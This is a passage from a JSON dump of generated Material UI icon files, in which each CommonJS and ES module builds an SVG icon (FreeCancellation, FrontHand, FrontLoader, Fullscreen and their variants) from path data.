    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19h16v2H4zM20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m-4 10c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V5h10zm4-5h-2V5h2z\"\n}, \"1\")], 'FreeBreakfastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeCancellation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.21 20H5V10h14v4.38l2-2V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h8.21zm5.33 2.5L13 18.96l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM10.41 14 12 15.59 10.59 17 9 15.41 7.41 17 6 15.59 7.59 14 6 12.41 7.41 11 9 12.59 10.59 11 12 12.41z\"\n}), 'FreeCancellation');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeCancellation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.21 20H5V10h14v4.38l2-2V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h8.21zm5.33 2.5L13 18.96l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM10.41 14 12 15.59 10.59 17 9 15.41 7.41 17 6 15.59 7.59 14 6 12.41 7.41 11 9 12.59 10.59 11 12 12.41z\"\n}), 'FreeCancellation');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeCancellationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.21 20H5V10h14v4.38l2-2V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h8.21zM5 6h14v2H5zm11.54 16.5L13 18.96l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM10.41 14 12 15.59 10.59 17 9 15.41 7.41 17 6 15.59 7.59 14 6 12.41 7.41 11 9 12.59 10.59 11 12 12.41z\"\n}), 'FreeCancellationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeCancellationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.21 20H5V10h14v4.38l2-2V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h8.21zM5 6h14v2H5zm11.54 16.5L13 18.96l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM10.41 14 12 15.59 10.59 17 9 15.41 7.41 17 6 15.59 7.59 14 6 12.41 7.41 11 9 12.59 10.59 11 12 12.41z\"\n}), 'FreeCancellationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeCancellationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.79 20H5V10h14v2.96c0 .89 1.08 1.34 1.71.71.19-.19.29-.44.29-.71V6c0-1.1-.9-2-2-2h-1V3c0-.55-.45-1-1-1s-1 .45-1 1v1H8V3c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h5.79c.89 0 1.34-1.08.71-1.71-.19-.18-.44-.29-.71-.29m2.92-1.74c.39-.39 1.02-.39 1.41 0l1.41 1.41 3.54-3.54c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-4.24 4.24c-.39.39-1.02.39-1.41 0l-2.12-2.12c-.39-.38-.39-1.01 0-1.4m-2.42-1.97c-.39.39-1.02.39-1.41 0L9 15.41l-.88.88c-.39.39-1.02.39-1.41 0s-.39-1.02 0-1.41l.88-.88-.88-.88c-.39-.39-.39-1.02 0-1.41s1.02-.39 1.41 0l.88.88.88-.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-.88.88.88.88c.39.39.39 1.02 0 1.41\"\n}), 'FreeCancellationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeCancellationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.79 20H5V10h14v2.96c0 .89 1.08 1.34 1.71.71.19-.19.29-.44.29-.71V6c0-1.1-.9-2-2-2h-1V3c0-.55-.45-1-1-1s-1 .45-1 1v1H8V3c0-.55-.45-1-1-1s-1 .45-1 1v1H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h5.79c.89 0 1.34-1.08.71-1.71-.19-.18-.44-.29-.71-.29m2.92-1.74c.39-.39 1.02-.39 1.41 0l1.41 1.41 3.54-3.54c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-4.24 4.24c-.39.39-1.02.39-1.41 0l-2.12-2.12c-.39-.38-.39-1.01 0-1.4m-2.42-1.97c-.39.39-1.02.39-1.41 0L9 15.41l-.88.88c-.39.39-1.02.39-1.41 0s-.39-1.02 0-1.41l.88-.88-.88-.88c-.39-.39-.39-1.02 0-1.41s1.02-.39 1.41 0l.88.88.88-.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-.88.88.88.88c.39.39.39 1.02 0 1.41\"\n}), 'FreeCancellationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeCancellationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.21 20H5V10h14v4.38l2-2V4h-3V2h-2v2H8V2H6v2H3v18h10.21zm5.33 2.5L13 18.96l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM10.41 14 12 15.59 10.59 17 9 15.41 7.41 17 6 15.59 7.59 14 6 12.41 7.41 11 9 12.59 10.59 11 12 12.41z\"\n}), 'FreeCancellationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeCancellationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.21 20H5V10h14v4.38l2-2V4h-3V2h-2v2H8V2H6v2H3v18h10.21zm5.33 2.5L13 18.96l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM10.41 14 12 15.59 10.59 17 9 15.41 7.41 17 6 15.59 7.59 14 6 12.41 7.41 11 9 12.59 10.59 11 12 12.41z\"\n}), 'FreeCancellationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeCancellationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 6h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.21 20H5V10h14v4.38l2-2V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h8.21zM5 6h14v2H5zm11.54 16.5L13 18.96l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM10.41 14 12 15.59 10.59 17 9 15.41 7.41 17 6 15.59 7.59 14 6 12.41 7.41 11 9 12.59 10.59 11 12 12.41z\"\n}, \"1\")], 'FreeCancellationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeCancellationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 6h14v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.21 20H5V10h14v4.38l2-2V6c0-1.1-.9-2-2-2h-1V2h-2v2H8V2H6v2H5c-1.11 0-1.99.9-1.99 2L3 20c0 1.1.89 2 2 2h8.21zM5 6h14v2H5zm11.54 16.5L13 18.96l1.41-1.41 2.12 2.12 4.24-4.24 1.41 1.41zM10.41 14 12 15.59 10.59 17 9 15.41 7.41 17 6 15.59 7.59 14 6 12.41 7.41 11 9 12.59 10.59 11 12 12.41z\"\n}, \"1\")], 'FreeCancellationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontHand.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.75 8c-.69 0-1.25.56-1.25 1.25V15H18c-1.65 0-3 1.35-3 3h-1c0-2.04 1.53-3.72 3.5-3.97V3.25c0-.69-.56-1.25-1.25-1.25S15 2.56 15 3.25V11h-1V1.25C14 .56 13.44 0 12.75 0S11.5.56 11.5 1.25V11h-1V2.75c0-.69-.56-1.25-1.25-1.25S8 2.06 8 2.75V12H7V5.75c0-.69-.56-1.25-1.25-1.25S4.5 5.06 4.5 5.75v10c0 4.56 3.69 8.25 8.25 8.25S21 20.31 21 15.75v-6.5C21 8.56 20.44 8 19.75 8\"\n}), 'FrontHand');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontHand.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.75 8c-.69 0-1.25.56-1.25 1.25V15H18c-1.65 0-3 1.35-3 3h-1c0-2.04 1.53-3.72 3.5-3.97V3.25c0-.69-.56-1.25-1.25-1.25S15 2.56 15 3.25V11h-1V1.25C14 .56 13.44 0 12.75 0S11.5.56 11.5 1.25V11h-1V2.75c0-.69-.56-1.25-1.25-1.25S8 2.06 8 2.75V12H7V5.75c0-.69-.56-1.25-1.25-1.25S4.5 5.06 4.5 5.75v10c0 4.56 3.69 8.25 8.25 8.25S21 20.31 21 15.75v-6.5C21 8.56 20.44 8 19.75 8\"\n}), 'FrontHand');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontHandOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 8c-.17 0-.34.02-.5.05V4.5C18 3.12 16.88 2 15.5 2q-.285 0-.54.06C14.75.89 13.73 0 12.5 0c-1.06 0-1.96.66-2.33 1.59-.21-.06-.44-.09-.67-.09C8.12 1.5 7 2.62 7 4v.55c-.16-.03-.33-.05-.5-.05C5.12 4.5 4 5.62 4 7v8.5c0 4.69 3.81 8.5 8.5 8.5s8.5-3.81 8.5-8.5v-5C21 9.12 19.88 8 18.5 8m.5 7.5c0 3.59-2.91 6.5-6.5 6.5S6 19.09 6 15.5V7c0-.28.22-.5.5-.5s.5.22.5.5v5h2V4c0-.28.22-.5.5-.5s.5.22.5.5v7h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V11h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5v8.92c-1.77.77-3 2.53-3 4.58h2c0-1.66 1.34-3 3-3v-4.5c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}), 'FrontHandOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontHandOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 8c-.17 0-.34.02-.5.05V4.5C18 3.12 16.88 2 15.5 2q-.285 0-.54.06C14.75.89 13.73 0 12.5 0c-1.06 0-1.96.66-2.33 1.59-.21-.06-.44-.09-.67-.09C8.12 1.5 7 2.62 7 4v.55c-.16-.03-.33-.05-.5-.05C5.12 4.5 4 5.62 4 7v8.5c0 4.69 3.81 8.5 8.5 8.5s8.5-3.81 8.5-8.5v-5C21 9.12 19.88 8 18.5 8m.5 7.5c0 3.59-2.91 6.5-6.5 6.5S6 19.09 6 15.5V7c0-.28.22-.5.5-.5s.5.22.5.5v5h2V4c0-.28.22-.5.5-.5s.5.22.5.5v7h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V11h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5v8.92c-1.77.77-3 2.53-3 4.58h2c0-1.66 1.34-3 3-3v-4.5c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}), 'FrontHandOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontHandRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 14.5c0 .28-.22.5-.5.5-1.51 0-2.77 1.12-2.97 2.58-.03.24-.25.42-.49.42-.3 0-.54-.27-.5-.57.26-1.77 1.68-3.17 3.46-3.4V3.25c0-.69-.56-1.25-1.25-1.25S15 2.56 15 3.25v7.25c0 .28-.22.5-.5.5s-.5-.22-.5-.5V1.25C14 .56 13.44 0 12.75 0S11.5.56 11.5 1.25v9.25c0 .28-.22.5-.5.5s-.5-.22-.5-.5V2.75c0-.69-.56-1.25-1.25-1.25S8 2.06 8 2.75v8.75c0 .28-.22.5-.5.5s-.5-.22-.5-.5V5.75c0-.69-.56-1.25-1.25-1.25S4.5 5.06 4.5 5.75v10c0 4.56 3.69 8.25 8.25 8.25S21 20.31 21 15.75v-6.5C21 8.56 20.44 8 19.75 8s-1.25.56-1.25 1.25z\"\n}), 'FrontHandRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontHandRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 14.5c0 .28-.22.5-.5.5-1.51 0-2.77 1.12-2.97 2.58-.03.24-.25.42-.49.42-.3 0-.54-.27-.5-.57.26-1.77 1.68-3.17 3.46-3.4V3.25c0-.69-.56-1.25-1.25-1.25S15 2.56 15 3.25v7.25c0 .28-.22.5-.5.5s-.5-.22-.5-.5V1.25C14 .56 13.44 0 12.75 0S11.5.56 11.5 1.25v9.25c0 .28-.22.5-.5.5s-.5-.22-.5-.5V2.75c0-.69-.56-1.25-1.25-1.25S8 2.06 8 2.75v8.75c0 .28-.22.5-.5.5s-.5-.22-.5-.5V5.75c0-.69-.56-1.25-1.25-1.25S4.5 5.06 4.5 5.75v10c0 4.56 3.69 8.25 8.25 8.25S21 20.31 21 15.75v-6.5C21 8.56 20.44 8 19.75 8s-1.25.56-1.25 1.25z\"\n}), 'FrontHandRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontHandSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 8v7H18c-1.65 0-3 1.35-3 3h-1c0-2.04 1.53-3.72 3.5-3.97V2H15v9h-1V0h-2.5v11h-1V1.5H8V12H7V4.5H4.5v11.25c0 4.56 3.69 8.25 8.25 8.25S21 20.31 21 15.75V8z\"\n}), 'FrontHandSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontHandSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 8v7H18c-1.65 0-3 1.35-3 3h-1c0-2.04 1.53-3.72 3.5-3.97V2H15v9h-1V0h-2.5v11h-1V1.5H8V12H7V4.5H4.5v11.25c0 4.56 3.69 8.25 8.25 8.25S21 20.31 21 15.75V8z\"\n}), 'FrontHandSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontHandTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 15.5c0 3.59-2.91 6.5-6.5 6.5S6 19.09 6 15.5V7c0-.28.22-.5.5-.5s.5.22.5.5v5h2V4c0-.28.22-.5.5-.5s.5.22.5.5v7h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V11h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5v8.92c-1.77.77-3 2.53-3 4.58h2c0-1.66 1.34-3 3-3v-4.5c0-.28.22-.5.5-.5s.5.22.5.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 8c-.17 0-.34.02-.5.05V4.5C18 3.12 16.88 2 15.5 2q-.285 0-.54.06C14.75.89 13.73 0 12.5 0c-1.06 0-1.96.66-2.33 1.59-.21-.06-.44-.09-.67-.09C8.12 1.5 7 2.62 7 4v.55c-.16-.03-.33-.05-.5-.05C5.12 4.5 4 5.62 4 7v8.5c0 4.69 3.81 8.5 8.5 8.5s8.5-3.81 8.5-8.5v-5C21 9.12 19.88 8 18.5 8m.5 7.5c0 3.59-2.91 6.5-6.5 6.5S6 19.09 6 15.5V7c0-.28.22-.5.5-.5s.5.22.5.5v5h2V4c0-.28.22-.5.5-.5s.5.22.5.5v7h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V11h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5v8.92c-1.77.77-3 2.53-3 4.58h2c0-1.66 1.34-3 3-3v-4.5c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}, \"1\")], 'FrontHandTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontHandTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 15.5c0 3.59-2.91 6.5-6.5 6.5S6 19.09 6 15.5V7c0-.28.22-.5.5-.5s.5.22.5.5v5h2V4c0-.28.22-.5.5-.5s.5.22.5.5v7h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V11h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5v8.92c-1.77.77-3 2.53-3 4.58h2c0-1.66 1.34-3 3-3v-4.5c0-.28.22-.5.5-.5s.5.22.5.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 8c-.17 0-.34.02-.5.05V4.5C18 3.12 16.88 2 15.5 2q-.285 0-.54.06C14.75.89 13.73 0 12.5 0c-1.06 0-1.96.66-2.33 1.59-.21-.06-.44-.09-.67-.09C8.12 1.5 7 2.62 7 4v.55c-.16-.03-.33-.05-.5-.05C5.12 4.5 4 5.62 4 7v8.5c0 4.69 3.81 8.5 8.5 8.5s8.5-3.81 8.5-8.5v-5C21 9.12 19.88 8 18.5 8m.5 7.5c0 3.59-2.91 6.5-6.5 6.5S6 19.09 6 15.5V7c0-.28.22-.5.5-.5s.5.22.5.5v5h2V4c0-.28.22-.5.5-.5s.5.22.5.5v7h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V11h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5v8.92c-1.77.77-3 2.53-3 4.58h2c0-1.66 1.34-3 3-3v-4.5c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}, \"1\")], 'FrontHandTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontLoader.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.5 6.5-1.91 1.91c-.38.38-.59.89-.59 1.42V11h-1V7c0-1.66-1.34-3-3-3H8v5H3c-1.1 0-2 .9-2 2v5.85c0 1.58 1.16 3.01 2.74 3.14a2.99 2.99 0 0 0 3.07-1.98l4.37-.01a2.979 2.979 0 0 0 3.41 1.94 3.013 3.013 0 0 0 2.35-2.39c.2-1.11-.22-2.11-.95-2.77V13h1c0 1.1.9 2 2 2h5zM4 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6-12h3c.55 0 1 .45 1 1v4h-4zm4 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'FrontLoader');"
  },
  {
    "path": "packages/mui-icons-material/lib/FrontLoader.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.5 6.5-1.91 1.91c-.38.38-.59.89-.59 1.42V11h-1V7c0-1.66-1.34-3-3-3H8v5H3c-1.1 0-2 .9-2 2v5.85c0 1.58 1.16 3.01 2.74 3.14a2.99 2.99 0 0 0 3.07-1.98l4.37-.01a2.979 2.979 0 0 0 3.41 1.94 3.013 3.013 0 0 0 2.35-2.39c.2-1.11-.22-2.11-.95-2.77V13h1c0 1.1.9 2 2 2h5zM4 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6-12h3c.55 0 1 .45 1 1v4h-4zm4 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'FrontLoader');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fullscreen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14H5v5h5v-2H7zm-2-4h2V7h3V5H5zm12 7h-3v2h5v-5h-2zM14 5v2h3v3h2V5z\"\n}), 'Fullscreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fullscreen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14H5v5h5v-2H7zm-2-4h2V7h3V5H5zm12 7h-3v2h5v-5h-2zM14 5v2h3v3h2V5z\"\n}), 'Fullscreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenExit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16h3v3h2v-5H5zm3-8H5v2h5V5H8zm6 11h2v-3h3v-2h-5zm2-11V5h-2v5h5V8z\"\n}), 'FullscreenExit');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenExit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16h3v3h2v-5H5zm3-8H5v2h5V5H8zm6 11h2v-3h3v-2h-5zm2-11V5h-2v5h5V8z\"\n}), 'FullscreenExit');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenExitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16h3v3h2v-5H5zm3-8H5v2h5V5H8zm6 11h2v-3h3v-2h-5zm2-11V5h-2v5h5V8z\"\n}), 'FullscreenExitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenExitOutlined.mjs",
